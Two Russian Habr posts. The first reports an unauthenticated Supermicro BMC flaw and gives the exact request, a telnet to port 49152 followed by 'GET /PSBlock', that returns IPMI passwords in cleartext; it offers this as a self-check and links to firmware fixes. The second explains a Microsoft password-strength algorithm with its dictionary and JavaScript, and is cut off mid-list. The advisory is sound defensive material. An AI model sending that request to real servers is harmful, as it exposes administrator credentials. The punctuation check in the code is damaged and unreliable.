# Уязвимость в BMC-контроллере Supermicro позволяет получить доступ к паролям управляющего интерфейса ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/2df/1d4/509/2df1d45093ea87d3c71ce6e5a2e7f064.png) В BMC (Baseboard Management Сontroller) чипе, используемом в материнских платах Supermicro, выявлена уязвимость, позволяющая злоумышленнику получить доступ к паролям входа в управляющий интерфейс. Проблема вызвана тем, что содержимое файла с паролями выводится среди бинарного блока данных, который можно получить без аутентификации через сетевой порт 49152. Техника эксплуатации очень проста, достаточно подключиться к порту 49152 и выполнить команду «GET /PSBlock». Пароли выдаются в открытом виде, без хэширования. Выявившие уязвимость исследователи безопасности предупреждают, что им удалось обнаружить в сети 31964 серверов, подверженных данной проблеме, при этом на 3296 (10%) из этих систем применялись пароли, заданные по умолчанию. Предоставляемый BMC-контроллером IPMI-интерфейс предоставляет средства для мониторинга и управления оборудованием, в том числе позволяет отслеживать состояние датчиков, управлять питанием, прошивками и дисками, удалённо загрузить на сервере собственную ОС по сети, организовать работу консоли удалённого доступа для атаки на базовую ОС и изменения настроек BIOS. Проверить свой сервер можно банально подключившись к уязвимому порту с помощью telnet: `telnet ip_ipmi 49152` далее `GET /PSBlock` если Вы в тексте ответа увидели свои пароли, то Вам стоит задуматься об обновлении прошивок. [Источник...](http://blog.cari.net/carisirt-yet-another-bmc-vulnerability-and-some-added-extras/) upd: Скачать обновления прошивки, можно по [ссылке.](http://www.supermicro.nl/ResourceApps/BIOS_IPMI.aspx)
https://habr.com/ru/post/227041/
null
ru
null
# Алгоритм оценки стойкости пароля от Microsoft (Часть 2) Продолжение [предыдущего топика](http://habrahabr.ru/blogs/infosecurity/116331/) по алгоритму проверки стойкости пароля. Теперь возьмемся за более сложный алгоритм, который почему то считается «старым» и в основном тексте закомментирован. Для анализа стойкости используются следующие показатели: * Длина пароля * Количество используемых типов символов: *заглавные латинские, малые латинские, цифры, спец-символы* * Отсутствие слова в словаре (слова длинной от 3 до 16 символов) с учетом подобия символов. * Близость слова к словарному с определенной вероятностью. Стойкость пароля подразделяется на пять классов * **Отличный (Best)** — + Длина пароля — не менее 14. + Количество используемых различных типов символов — не менее 3. + В словаре отсутствует близкое с вероятностью 0.6 слово с учетом подобия символов. * **Стойкий (Strong)** — + Длина пароля — не менее 8. + Количество используемых различных типов символов — не менее 3. + В словаре отсутствует близкое с вероятностью 0.6 слово с учетом подобия символов. * **Средний (Medium)** — + Длина пароля — не менее 8. + Количество используемых различных типов символов — не менее 2. + Слово отсутствует в словаре с учетом подобия символов. * **Слабый (Weak)** — + пароль состоит как минимум из одного произвольного символа. * **Никакой** — + все остальные пароли. #### Таблица подобия символов * '3' 'e' * 'x' 'k' * '5' 's' * '$' 's' * '6' 'g' * '7' 't' * '8' 'b' * '|' 'l' * '9' 'g' * '+' 't' * '@' 'a' * '0' 'o' * '1' 'l' * '2' 'z' * '!' 'i' #### Словарь * 3: > oat, not, ken, keg, ham, hal, gas, cpu, cit, bop, bah * 4: > zeus, ymca, yang, yaco, work, word, wool, will, viva, vito, vita, visa, vent, vain, uucp, util, utah, unix, trek, town, torn, tina, time, tier, tied, tidy, tide, thud, test, tess, tech, tara, tape, tapa, taos, tami, tall, tale, spit, sole, sold, soil, soft, sofa, soap, slav, slat, slap, slam, shit, sean, saud, sash, sara, sand, sail, said, sago, sage, saga, safe, ruth, russ, rusk, rush, ruse, runt, rung, rune, rove, rose, root, rick, rich, rice, reap, ream, rata, rare, ramp, prod, pork, pete, penn, penh, pend, pass, pang, pane, pale, orca, open, olin, olga, oldy, olav, olaf, okra, okay, ohio, oath, numb, null, nude, note, nosy, nose, nita, next, news, ness, nasa, mike, mets, mess, math, mash, mary, mars, mark, mara, mail, maid, mack, lyre, lyra, lyon, lynx, lynn, lucy, love, lose, lori, lois, lock, lisp, lisa, leah, lass, lash, lara, lank, lane, lana, kink, keri, kemp, kelp, keep, keen, kate, karl, june, judy, judo, judd, jody, jill, jean, jane, isis, iowa, inna, holm, help, hast, half, hale, hack, gust, gush, guru, gosh, gory, golf, glee, gina, germ, gatt, gash, gary, game, fred, fowl, ford, flea, flax, flaw, finn, fink, film, fill, file, erin, emit, elmo, easy, done, disk, disc, diet, dial, dawn, dave, data, derek, damn, dame, crab, cozy, coke, city, cite, chem, chat, cats, burl, bred, bill, bilk, bile, bike, beth, beta, benz, beau, bath, bass, bart, bank, bake, bait, bail, aria, anne, anna, andy, alex, abcd * 5: > yacht, xerox, wilma, willy, wendy, wendi, water, warez, vitro, vital, vitae, vista, visor, vicky, venus, venom, value, ultra, u.s.a, tubas, tress, tramp, trait, tracy, traci, toxic, tiger, tidal, thumb, texas, test2, test1, terse, terry, tardy, tappa, tapis, tapir, taper, tanya, tansy, tammy, tamie, taint, sybil, suzie, susie, susan, super, steph, stacy, staci, spark, sonya, sonia, solar, soggy, sofia, smile, slave, slate, slash, slant, slang, simon, shiva, shell, shark, sharc, shack, scrim, screw, scott, scorn, score, scoot, scoop, scold, scoff, saxon, saucy, satan, sasha, sarah, sandy, sable, rural, rupee, runty, runny, runic, runge, rules, ruben, royal, route, rouse, roses, rolex, robyn, robot, robin, ridge, rhode, revel, renee, ranch, rally, radio, quark, quake, quail, power, polly, polis, polio, pluto, plane, pizza, photo, phone, peter, perry, penna, penis, paula, patty, parse, paris, parch, paper, panic, panel, olive, olden, okapi, oasis, oaken, nurse, notre, notch, nancy, nagel, mouse, moose, mogul, modem, merry, megan, mckee, mckay, mcgee, mccoy, marty, marni, mario, maria, marcy, marci, maint, maine, magog, magic, lyric, lyons, lynne, lynch, louis, lorry, loris, lorin, loren, linda, light, lewis, leroy, laura, later, lasso, laser, larry, ladle, kinky, keyes, kerry, kerri, kelly, keith, kazoo, kayla, kathy, karie, karen, julie, julia, joyce, jenny, jenni, japan, janie, janet, james, irene, inane, impel, idaho, horus, horse, honey, honda, holly, hello, heidi, hasty, haste, hamal, halve, haley, hague, hager, hagen, hades, guest, guess, gucci, group, grahm, gouge, gorse, gorky, glean, gleam, glaze, ghoul, ghost, gauss, gauge, gaudy, gator, gases, games, freer, fovea, float, fiona, finny, filly, field, erika, erica, enter, enemy, empty, emily, email, elmer, ellis, ellen, eight, eerie, edwin, edges, eatme, earth, eager, dulce, donor, donna, diane, diana, delay, defoe, david, danny, daisy, cuzco, cubit, cozen, coypu, coyly, cowry, condo, class, cindy, cigar, chess, cathy, carry, carol, carla, caret, caren, candy, candi, burma, burly, burke, brian, breed, borax, booze, booty, bloom, blood, bitch, bilge, bilbo, betty, beryl, becky, beach, bathe, batch, basic, bantu, banks, banjo, baird, baggy, azure, arrow, array, april, anita, angie, amber, amaze, alpha, alisa, alike, align, alice, alias, album, alamo, aires, admin, adept, adele, addle, addis, added, acura, abyss, abcde, 1701d, 123go, !@#$% * 6: > yankee, yamaha, yakima, y7u8i9, xyzxyz, wombat, wizard, wilson, willie, weenie, warren, visual, virgin, viking, venous, venice, venial, vasant, vagina, ursula, urchin, uranus, uphill, umpire, u.s.a., tuttle, trisha, trails, tracie, toyota, tomato, toggle, tidbit, thorny, thomas, terror, tennis, taylor, target, tardis, tappet, taoist, tannin, tanner, tanker, tamara, system, surfer, summer, subway, stacie, stacey, spring, sondra, solemn, soleil, solder, solace, soiree, soften, soffit, sodium, sodden, snoopy, snatch, smooch, smiles, slavic, slater, single, singer, simple, sherri, sharon, sharks, sesame, sensor, secret, second, season, search, scroll, scribe, scotty, scooby, schulz, school, scheme, saturn, sandra, sandal, saliva, saigon, sahara, safety, safari, sadism, saddle, sacral, russel, runyon, runway, runoff, runner, ronald, romano, rodent, ripple, riddle, ridden, reveal, return, remote, recess, recent, realty, really, reagan, raster, rascal, random, radish, radial, racoon, racket, racial, rachel, rabbit, qwerty, qawsed, puppet, puneet, public, prince, presto, praise, poster, polite, polish, policy, police, plover, pierre, phrase, photon, philip, persia, peoria, penmen, penman, pencil, peanut, parrot, parent, pardon, papers, pander, pamela, pallet, palace, oxford, outlaw, osiris, orwell, oregon, oracle, olivia, oliver, olefin, office, notion, notify, notice, notate, notary, noreen, nobody, nicole, newton, nevada, mutant, mozart, morley, monica, moguls, minsky, mickey, merlin, memory, mellon, meagan, mcneil, mcleod, mclean, mckeon, mchugh, mcgraw, mcgill, mccann, mccall, mccabe, mayfly, maxine, master, massif, maseru, marvin, markus, malcom, mailer, maiden, magpie, magnum, magnet, maggot, lorenz, lisbon, limpid, leslie, leland, latest, latera, latent, lascar, larkin, langur, landis, landau, lambda, kristy, kristi, krista, knight, kitten, kinney, kerrie, kernel, kermit, kennan, kelvin, kelsey, kelley, keller, keenan, katina, karina, kansas, juggle, judith, jsbach, joshua, joseph, johnny, joanne, joanna, jixian, jimmie, jimbob, jester, jeanne, jasmin, janice, jaguar, jackie, island, invest, instar, ingrid, ingres, impute, holmes, holman, hockey, hidden, hawaii, hasten, harvey, harold, hamlin, hamlet, halite, halide, haggle, haggis, hadron, hadley, hacker, gustav, gusset, gurkha, gurgle, guntis, guitar, gamlyn, gospel, gorton, gorham, gorges, golfer, glassy, ginger, gibson, ghetto, german, george, gauche, gasify, gambol, gamble, gambit, friend, freest, fourth, format, flower, flaxen, flaunt, flakes, finley, finite, fillip, fillet, filler, filled, fermat, fender, fatten, fatima, fathom, father, evelyn, euclid, estate, enzyme, engine, employ, emboss, elanor, elaine, eileen, eighty, eighth, effect, efface, eeyore, eerily, edwina, easier, durkin, durkee, during, durham, duress, duncan, donner, donkey, donate, donald, domino, disney, dieter, device, denise, deluge, delete, debbie, deaden, ddurer, dapper, daniel, dancer, damask, dakota, daemon, cuvier, cuddly, cuddle, cuckoo, cretin, create, cozier, coyote, cowpox, cooper, cookie, connie, coneck, condom, coffee, citrus, citron, citric, circus, charon, change, censor, cement, celtic, cecily, cayuga, catnip, catkin, cation, castle, carson, carrot, carrie, carole, carmen, caress, cantor, burley, burlap, buried, burial, brenda, bremen, breezy, breeze, breech, brandy, brandi, border, borden, borate, bloody, bishop, bilbao, bikini, bigred, betsie, berman, berlin, bedbug, became, beavis, beaver, beauty, beater, batman, bathos, barony, barber, baobab, bantus, banter, bantam, banish, bangui, bangor, bangle, bandit, banana, bakery, bailey, bahama, bagley, badass, aztecs, azsxdc, athena, asylum, arthur, arrest, arrear, arrack, arlene, anvils, answer, angela, andrea, anchor, analog, amazon, amanda, alison, alight, alicia, albino, albert, albeit, albany, alaska, adrian, adelia, adduce, addict, addend, accrue, access, abcdef, abcabc, abc123, a1b2c3, a12345, @#$%^&, 7y8u9i, 1qw23e, 1q2w3e, 1p2o3i, 1a2b3c, 123abc, 10sne1, 0p9o8i, !@#$%^ * 7: > yolanda, wyoming, winston, william, whitney, whiting, whatnot, vitriol, vitrify, vitiate, vitamin, visitor, village, vertigo, vermont, venturi, venture, ventral, venison, valerie, utility, upgrade, unknown, unicorn, unhappy, trivial, torrent, tinfoil, tiffany, tidings, thunder, thistle, theresa, test123, terrify, teleost, tarbell, taproot, tapping, tapioca, tantrum, tantric, tanning, takeoff, swearer, suzanne, susanne, support, success, student, squires, sossina, soldier, sojourn, soignee, sodding, smother, slavish, slavery, slander, shuttle, shivers, shirley, sheldon, shannon, service, seattle, scooter, scissor, science, scholar, scamper, satisfy, sarcasm, salerno, sailing, saguaro, saginaw, sagging, saffron, sabrina, russell, rupture, running, runneth, rosebud, receipt, rebecca, realtor, raleigh, rainbow, quarrel, quality, qualify, pumpkin, protect, program, profile, profess, profane, private, prelude, porsche, politic, playboy, phoenix, persona, persian, perseus, perseid, perplex, penguin, pendant, parapet, panoply, panning, panicle, panicky, pangaea, pandora, palette, pacific, olivier, olduvai, oldster, okinawa, oakwood, nyquist, nursery, numeric, number1, nullify, nucleus, nuclear, notused, nothing, newyork, network, neptune, montana, minimum, michele, michael, merriam, mercury, melissa, mcnulty, mcnally, mcmahon, mckenna, mcguire, mcgrath, mcgowan, mcelroy, mcclure, mcclain, mccarty, mcbride, mcadams, mbabane, mayoral, maurice, marimba, manhole, manager, mammoth, malcolm, malaria, mailbox, magnify, magneto, losable, lorinda, loretta, lorelei, lockout, lioness, limpkin, library, lazarus, lathrop, lateran, lateral, kristin, kristie, kristen, kinsman, kingdom, kennedy, kendall, kellogg, keelson, katrina, jupiter, judaism, judaica, jessica, janeiro, inspire, inspect, insofar, ingress, indiana, include, impetus, imperil, holmium, holmdel, herbert, heather, headmen, headman, harmony, handily, hamburg, halifax, halibut, halfway, haggard, hafnium, hadrian, gustave, gunther, gunshot, gryphon, gosling, goshawk, gorilla, gleason, glacier, ghostly, germane, georgia, geology, gaseous, gascony, gardner, gabriel, freeway, fourier, flowers, florida, fishers, finnish, finland, ferrari, felicia, feather, fatigue, fairway, express, expound, emulate, empress, empower, emitted, emerald, embrace, embower, ellwood, ellison, egghead, durward, durrell, drought, donning, donahue, digital, develop, desiree, default, deborah, damming, cynthia, cyanate, cutworm, cutting, cuddles, cubicle, crystal, coxcomb, cowslip, cowpony, cowpoke, console, conquer, connect, comrade, compton, collins, cluster, claudia, classic, citroen, citrate, citizen, citadel, cistern, christy, chester, charles, charity, celtics, celsius, catlike, cathode, carroll, carrion, careful, carbine, carbide, caraway, caravan, camille, burmese, burgess, bridget, breccia, bradley, bopping, blondie, bilayer, beverly, bernard, bermuda, berlitz, berlioz, beowulf, beloved, because, beatnik, beatles, beatify, bassoon, bartman, baroque, barbara, baptism, banshee, banquet, bannock, banning, bananas, bainite, bailiff, bahrein, bagpipe, baghdad, bagging, bacchus, asshole, arrange, arraign, arragon, arizona, ariadne, annette, animals, anatomy, anatole, amatory, amateur, amadeus, allison, alimony, aliases, algebra, albumin, alberto, alberta, albania, alameda, aladdin, alabama, airport, airpark, airfoil, airflow, airfare, airdrop, adenoma, adenine, address, addison, accrual, acclaim, academy, abcdefg, !@#$%^& * 8: > yosemite, y7u8i9o0, wormwood, woodwind, whistler, whatever, warcraft, vitreous, virginia, veronica, venomous, trombone, transfer, tortoise, tientsin, tideland, ticklish, thailand, testtest, tertiary, terrific, terminal, telegram, tarragon, tapeworm, tapestry, tanzania, tantalus, tantalum, sysadmin, symmetry, sunshine, strangle, startrek, springer, sparrows, somebody, solecism, soldiery, softwood, software, softball, socrates, slatting, slapping, slapdash, slamming, simpsons, serenity, security, schwartz, sanctity, sanctify, samantha, salesman, sailfish, sailboat, sagittal, sagacity, sabotage, rushmore, rosemary, rochelle, robotics, reverend, regional, raindrop, rachelle, qwertyui, qwerasdf, qawsedrf, q1w2e3r4, protozoa, prodding, princess, precious, politics, politico, plymouth, pershing, penitent, penelope, pendulum, patricia, password, passport, paranoia, panorama, panicked, pandemic, pandanus, pakistan, painless, operator, olivetti, oleander, oklahoma, notocord, notebook, notarize, nebraska, napoleon, missouri, michigan, michelle, mesmeric, mercedes, mcmullen, mcmillan, mcknight, mckinney, mckinley, mckesson, mckenzie, mcintyre, mcintosh, mcgregor, mcgovern, mcginnis, mcfadden, mcdowell, mcdonald, mcdaniel, mcconnel, mccauley, mccarthy, mccallum, mayapple, masonite, maryland, marjoram, marinate, marietta, maneuver, mandamus, maledict, maladapt, magnuson, magnolia, magnetic, lyrebird, lymphoma, lorraine, lionking, linoleum, limitate, limerick, laterite, landmass, landmark, landlord, landlady, landhold, landfill, kristine, kirkland, kingston, kimberly, khartoum, keystone, kentucky, keeshond, kathrine, kathleen, jubilant, joystick, jennifer, jacobsen, irishman, interpol, internet, insulate, instinct, instable, insomnia, insolent, insolate, inactive, imperial, iloveyou, illinois, hydrogen, hutchins, homework, hologram, holocene, hibernia, hiawatha, heinlein, hebrides, headlong, headline, headland, hastings, hamilton, halftone, halfback, hagstrom, gunsling, gunpoint, gumption, gorgeous, glaucous, glaucoma, glassine, ginnegan, ghoulish, gertrude, geometry, geometer, garfield, gamesman, gamecock, fungible, function, frighten, freetown, foxglove, fourteen, foursome, forsythe, football, flaxseed, flautist, flatworm, flatware, fidelity, exposure, eternity, enthrone, enthrall, enthalpy, entendre, entangle, engineer, emulsion, emulsify, emporium, employer, employee, employed, emmanuel, elliptic, elephant, einstein, eighteen, duration, donnelly, dominion, dlmhurst, delegate, delaware, december, deadwood, deadlock, deadline, deadhead, danielle, cyanamid, cucumber, cristina, criminal, creosote, creation, cowpunch, couscous, conquest, comrades, computer, comprise, compress, colorado, clusters, citation, charming, cerulean, cenozoic, cemetery, cellular, catskill, cationic, catholic, cathodic, catheter, cascades, carriage, caroline, carolina, carefree, cardinal, burgundy, burglary, bumbling, broadway, breeches, bordello, bordeaux, bilinear, bilabial, bernardo, berliner, berkeley, bedazzle, beaumont, beatrice, beatific, bathrobe, baronial, baritone, bankrupt, banister, bakelite, azsxdcfv, asdfqwer, arkansas, appraise, apposite, anything, angerine, ancestry, ancestor, anatomic, anathema, ambiance, alphabet, albright, albrecht, alberich, albacore, alastair, alacrity, airspace, airplane, airfield, airedale, aircraft, airbrush, airborne, aerobics, adrianna, adelaide, additive, addition, addendum, accouter, academic, academia, abcdefgh, abcd1234, a1b2c3d4, 7y8u9i0o, 7890yuio, 1234qwer, 0p9o8i7u, 0987poiu, !@#$%^&\* * 9: > zimmerman, worldwide, wisconsin, wholesale, vitriolic, ventricle, ventilate, valentine, tidewater, testament, territory, tennessee, telephone, telepathy, teleology, telemetry, telemeter, telegraph, tarantula, tarantara, tangerine, supported, superuser, stuttgart, stratford, stephanie, solemnity, softcover, slaughter, slapstick, signature, sheffield, sarcastic, sanctuary, sagebrush, sagacious, runnymede, rochester, receptive, reception, racketeer, professor, princeton, pondering, politburo, policemen, policeman, persimmon, persevere, persecute, percolate, peninsula, penetrate, pendulous, paralytic, panoramic, panicking, panhandle, oligopoly, oligocene, oligarchy, olfactory, oldenburg, nutrition, nurturant, notorious, notoriety, minnesota, microsoft, mcpherson, mcfarland, mcdougall, mcdonnell, mcdermott, mccracken, mccormick, mcconnell, mccluskey, mcclellan, marijuana, malicious, magnitude, magnetron, magnetite, macintosh, lynchburg, louisiana, lissajous, limousine, limnology, landscape, landowner, kinshasha, kingsbury, kibbutzim, kennecott, jamestown, ironstone, invisible, invention, intuitive, intervene, intersect, inspector, insomniac, insolvent, insoluble, impetuous, imperious, imperfect, holocaust, hollywood, hollyhock, headphone, headlight, headdress, headcount, headboard, happening, hamburger, halverson, gustafson, gunpowder, glasswort, glassware, ghostlike, geometric, gaucherie, freewheel, freethink, freestone, foresight, foolproof, extension, expositor, establish, entertain, employing, emittance, ellsworth, elizabeth, eightieth, eightfold, eiderdown, dusenbury, dusenberg, donaldson, dominique, discovery, desperate, delegable, delectate, decompose, decompile, damnation, cutthroat, crabapple, cornelius, conqueror, connubial, commrades, citizenry, christine, christina, chemistry, cellulose, celluloid, catherine, carryover, burlesque, bloodshot, bloodshed, bloodroot, bloodline, bloodbath, bilingual, bilateral, bijective, bijection, bernadine, berkshire, beethoven, beatitude, bakhtiari, asymptote, asymmetry, apprehend, appraisal, apportion, ancestral, anatomist, alexander, albatross, alabaster, alabamian, adenosine, abcabcabc * 10: > washington, volkswagen, topography, tessellate, temptation, telephonic, telepathic, telemetric, telegraphy, tantamount, superstage, slanderous, salamander, qwertyuiop, polynomial, politician, phrasemake, photometry, photolytic, photolysis, photogenic, phosphorus, phosphoric, persiflage, persephone, perquisite, peninsular, penicillin, penetrable, panjandrum, oligoclase, oligarchic, oldsmobile, nottingham, noticeable, noteworthy, mcnaughton, mclaughlin, mccullough, mcallister, malconduct, maidenhair, limitation, lascivious, landowning, landlubber, landlocked, lamination, khrushchev, juggernaut, irrational, invariable, insouciant, insolvable, incomplete, impervious, impersonal, headmaster, glaswegian, geopolitic, geophysics, fourteenth, foursquare, expressive, expression, expository, exposition, enterprise, eightyfold, eighteenth, effaceable, donnybrook, delectable, decolonize, cuttlefish, cuttlebone, compromise, compressor, comprehend, cellophane, carruthers, california, burlington, burgundian, borderline, borderland, bloodstone, bloodstain, bloodhound, bijouterie, biharmonic, bernardino, beaujolais, basketball, bankruptcy, bangladesh, atmosphere, asymptotic, asymmetric, appreciate, apposition, ambassador, amateurish, alimentary, additional, accomplish, 1q2w3e4r5t * 11: > yellowstone, venturesome, territorial, telekinesis, sagittarius, safekeeping, politicking, policewoman, photometric, photography, phosphorous, perseverant, persecutory, persecution, penitential, pandemonium, mississippi, marketplace, magnificent, irremovable, interrogate, institution, inspiration, incompetent, impertinent, impersonate, impermeable, headquarter, hamiltonian, halfhearted, hagiography, geophysical, expressible, emptyhanded, eigenvector, deleterious, decollimate, decolletage, connecticut, comptroller, compressive, compression, catholicism, bloodstream, bakersfield, arrangeable, appreciable, anastomotic, albuquerque * 12: > williamsburg, testamentary, qwerasdfzxcv, q1w2e3r4t5y6, perseverance, pennsylvania, penitentiary, malformation, liquefaction, interstitial, inconclusive, incomputable, incompletion, incompatible, incomparable, imperishable, impenetrable, headquarters, geometrician, ellipsometry, decomposable, decommission, compressible, burglarproof, bloodletting, bilharziasis, asynchronous, asymptomatic, ambidextrous, 1q2w3e4r5t6y * 13: > ventriloquist, ventriloquism, poliomyelitis, phosphorylate, oleomargarine, massachusetts, jitterbugging, interpolatory, inconceivable, imperturbable, impermissible, decomposition, comprehensive, comprehension * 14: > slaughterhouse, irreproducible, incompressible, comprehensible, bremsstrahlung * 15: > irreconciliable, instrumentation, incomprehension * 16: > incomprehensible Ниже предлагается исходный код на JS этого алгоритма. *Я позволил себе его немного поменять (для удобства публикации), заменив разделители '|' в словаре на ', '.* ``` var kNoCanonicalCounterpart = 0; var kCapitalLetter = 0; var kSmallLetter = 1; var kDigit = 2; var kPunctuation = 3; var kAlpha = 4; var kCanonicalizeLettersOnly = true; var kCananicalizeEverything = false; var gDebugOutput = null; var kDebugTraceLevelNone = 0; var kDebugTraceLevelSuperDetail = 120; var kDebugTraceLevelRealDetail = 100; var kDebugTraceLevelAll = 80; var kDebugTraceLevelMost = 60; var kDebugTraceLevelFew = 40; var kDebugTraceLevelRare = 20; var gDebugTraceLevel = kDebugTraceLevelNone; function DebugPrint(){ var string = ""; if (gDebugTraceLevel && gDebugOutput && DebugPrint.arguments && (DebugPrint.arguments.length > 1) && (DebugPrint.arguments[0] <= gDebugTraceLevel)){ for(var index = 1; index < DebugPrint.arguments.length; index++){ string += DebugPrint.arguments[index] + " "; } string += " \n"; gDebugOutput(string); } } function CSimilarityMap(){ this.m_elements = ""; this.m_canonicalCounterparts = ""; } function SimilarityMap_Add(element, canonicalCounterpart){ this.m_elements += element; this.m_canonicalCounterparts += canonicalCounterpart; } function SimilarityMap_Lookup(element){ var canonicalCounterpart = kNoCanonicalCounterpart; var index = this.m_elements.indexOf(element); if (index >= 0){ canonicalCounterpart = this.m_canonicalCounterparts.charAt(index); } else{ } return canonicalCounterpart; } function SimilarityMap_GetCount(){ return this.m_elements.length; } CSimilarityMap.prototype.Add = SimilarityMap_Add; CSimilarityMap.prototype.Lookup = SimilarityMap_Lookup; CSimilarityMap.prototype.GetCount = SimilarityMap_GetCount; function CDictionaryEntry(length, wordList){ this.m_length = length; this.m_wordList = wordList; } function DictionaryEntry_Lookup(strWord){ var fFound = false; if (strWord.length == this.m_length){ var nFirst = 0; var nLast = this.m_wordList.length - 1; while( nFirst <= nLast ){ var nCurrent = Math.floor((nFirst + nLast)/2); if( strWord == this.m_wordList[nCurrent]){ fFound = true; break; } else if ( strWord > this.m_wordList[nCurrent]){ nLast = nCurrent - 1; } else{ nFirst = nCurrent + 1; } } } return fFound; } CDictionaryEntry.prototype.Lookup = DictionaryEntry_Lookup; function CDictionary(){ this.m_entries = new Array() } function Dictionary_Lookup(strWord){ for (var index = 0; index < this.m_entries.length; index++){ if (this.m_entries[index].Lookup(strWord)){ return true; } } } function Dictionary_Add(length, wordList){ var iL=this.m_entries.length; var cD=new CDictionaryEntry(length, wordList) this.m_entries[iL]=cD; } CDictionary.prototype.Lookup = Dictionary_Lookup; CDictionary.prototype.Add = Dictionary_Add; var gSimilarityMap = new CSimilarityMap(); var gDictionary = new CDictionary(); function CharacterSetChecks(type, fResult){ this.type = type; this.fResult = fResult; } function isctype(character, type, nDebugLevel){ var fResult = false; switch(type){ case kCapitalLetter: if((character >= 'A') && (character <= 'Z')){ fResult = true; } break; case kSmallLetter: if ((character >= 'a') && (character <= 'z')){ fResult = true; } break; case kDigit: if ((character >= '0') && (character <= '9')){ fResult = true; } break; case kPunctuation: if ("!@#$%^&*()_+-='\";:[{]}\|.>,= 0){ fResult = true; } break; case kAlpha: if (isctype(character, kCapitalLetter) || isctype(character, kSmallLetter)){ fResult = true; } break; default: break; } return fResult; } function CanonicalizeWord(strWord, similarityMap, fLettersOnly){ var canonicalCounterpart = kNoCanonicalCounterpart; var strCanonicalizedWord = ""; var nStringLength = 0; if ((strWord != null) && (strWord.length > 0)){ strCanonicalizedWord = strWord; strCanonicalizedWord = strCanonicalizedWord.toLowerCase(); if (similarityMap.GetCount() > 0){ nStringLength = strCanonicalizedWord.length; for(var index = 0; index < nStringLength; index++){ if (fLettersOnly && !isctype(strCanonicalizedWord.charAt(index), kSmallLetter, kDebugTraceLevelSuperDetail)){ continue; } canonicalCounterpart = similarityMap.Lookup(strCanonicalizedWord.charAt(index)); if (canonicalCounterpart != kNoCanonicalCounterpart){ strCanonicalizedWord = strCanonicalizedWord.substring(0, index) + canonicalCounterpart + strCanonicalizedWord.substring(index + 1, nStringLength); } } } } return strCanonicalizedWord; } function IsLongEnough(strWord, nAtLeastThisLong){ if ((strWord == null) || isNaN(nAtLeastThisLong)){ return false; } else if (strWord.length < nAtLeastThisLong){ return false; } return true; } function SpansEnoughCharacterSets(strWord, nAtLeastThisMany){ var nCharSets = 0; var characterSetChecks = new Array( new CharacterSetChecks(kCapitalLetter, false), new CharacterSetChecks(kSmallLetter, false), new CharacterSetChecks(kDigit, false), new CharacterSetChecks(kPunctuation, false) ); if ((strWord == null) || isNaN(nAtLeastThisMany)){ return false; } for(var index = 0; index < strWord.length; index++){ for(var nCharSet = 0; nCharSet < characterSetChecks.length;nCharSet++){ if (!characterSetChecks[nCharSet].fResult && isctype(strWord.charAt(index), characterSetChecks[nCharSet].type, kDebugTraceLevelAll)){ characterSetChecks[nCharSet].fResult = true; break; } } } for(var nCharSet = 0; nCharSet < characterSetChecks.length;nCharSet++){ if (characterSetChecks[nCharSet].fResult){ nCharSets++; } } if (nCharSets < nAtLeastThisMany){ return false; } return true; } function FoundInDictionary(strWord, similarityMap, dictionary){ var strCanonicalizedWord = ""; if((strWord == null) || (similarityMap == null) || (dictionary == null)){ return true; } strCanonicalizedWord = CanonicalizeWord(strWord, similarityMap, kCanonicalizeLettersOnly); if (dictionary.Lookup(strCanonicalizedWord)){ return true; } return false; } function IsCloseVariationOfAWordInDictionary(strWord, threshold, similarityMap, dictionary){ var strCanonicalizedWord = ""; var nMinimumMeaningfulMatchLength = 0; if((strWord == null) || isNaN(threshold) || (similarityMap == null) || (dictionary == null)){ return true; } strCanonicalizedWord = CanonicalizeWord(strWord, similarityMap, kCananicalizeEverything); nMinimumMeaningfulMatchLength = Math.floor((threshold) * strCanonicalizedWord.length); for (var nSubStringLength = strCanonicalizedWord.length; nSubStringLength >= nMinimumMeaningfulMatchLength; nSubStringLength--){ for(var nSubStringStart = 0; (nSubStringStart + nMinimumMeaningfulMatchLength) < strCanonicalizedWord.length; nSubStringStart++){ var strSubWord = strCanonicalizedWord.substr(nSubStringStart, nSubStringLength); if (dictionary.Lookup(strSubWord)){ return true; } } } return false; } function Init(){ gSimilarityMap.Add('3', 'e'); gSimilarityMap.Add('x', 'k'); gSimilarityMap.Add('5', 's'); gSimilarityMap.Add('$', 's'); gSimilarityMap.Add('6', 'g'); gSimilarityMap.Add('7', 't'); gSimilarityMap.Add('8', 'b'); gSimilarityMap.Add('|', 'l'); gSimilarityMap.Add('9', 'g'); gSimilarityMap.Add('+', 't'); gSimilarityMap.Add('@', 'a'); gSimilarityMap.Add('0', 'o'); gSimilarityMap.Add('1', 'l'); gSimilarityMap.Add('2', 'z'); gSimilarityMap.Add('!', 'i'); gDictionary.Add(3, "oat, not, ken, keg, ham, hal, gas, cpu, cit, bop, bah".split(", ")); gDictionary.Add(4, "zeus, ymca, yang, yaco, work, word, wool, will, viva, vito, vita, visa, vent, vain, uucp, util, utah, unix, trek, town, torn, tina, time, tier, tied, tidy, tide, thud, test, tess, tech, tara, tape, tapa, taos, tami, tall, tale, spit, sole, sold, soil, soft, sofa, soap, slav, slat, slap, slam, shit, sean, saud, sash, sara, sand, sail, said, sago, sage, saga, safe, ruth, russ, rusk, rush, ruse, runt, rung, rune, rove, rose, root, rick, rich, rice, reap, ream, rata, rare, ramp, prod, pork, pete, penn, penh, pend, pass, pang, pane, pale, orca, open, olin, olga, oldy, olav, olaf, okra, okay, ohio, oath, numb, null, nude, note, nosy, nose, nita, next, news, ness, nasa, mike, mets, mess, math, mash, mary, mars, mark, mara, mail, maid, mack, lyre, lyra, lyon, lynx, lynn, lucy, love, lose, lori, lois, lock, lisp, lisa, leah, lass, lash, lara, lank, lane, lana, kink, keri, kemp, kelp, keep, keen, kate, karl, june, judy, judo, judd, jody, jill, jean, jane, isis, iowa, inna, holm, help, hast, half, hale, hack, gust, gush, guru, gosh, gory, golf, glee, gina, germ, gatt, gash, gary, game, fred, fowl, ford, flea, flax, flaw, finn, fink, film, fill, file, erin, emit, elmo, easy, done, disk, disc, diet, dial, dawn, dave, data, derek, damn, dame, crab, cozy, coke, city, cite, chem, chat, cats, burl, bred, bill, bilk, bile, bike, beth, beta, benz, beau, bath, bass, bart, bank, bake, bait, bail, aria, anne, anna, andy, alex, abcd".split(", ")); gDictionary.Add(5, "yacht, xerox, wilma, willy, wendy, wendi, water, warez, vitro, vital, vitae, vista, visor, vicky, venus, venom, value, ultra, u.s.a, tubas, tress, tramp, trait, tracy, traci, toxic, tiger, tidal, thumb, texas, test2, test1, 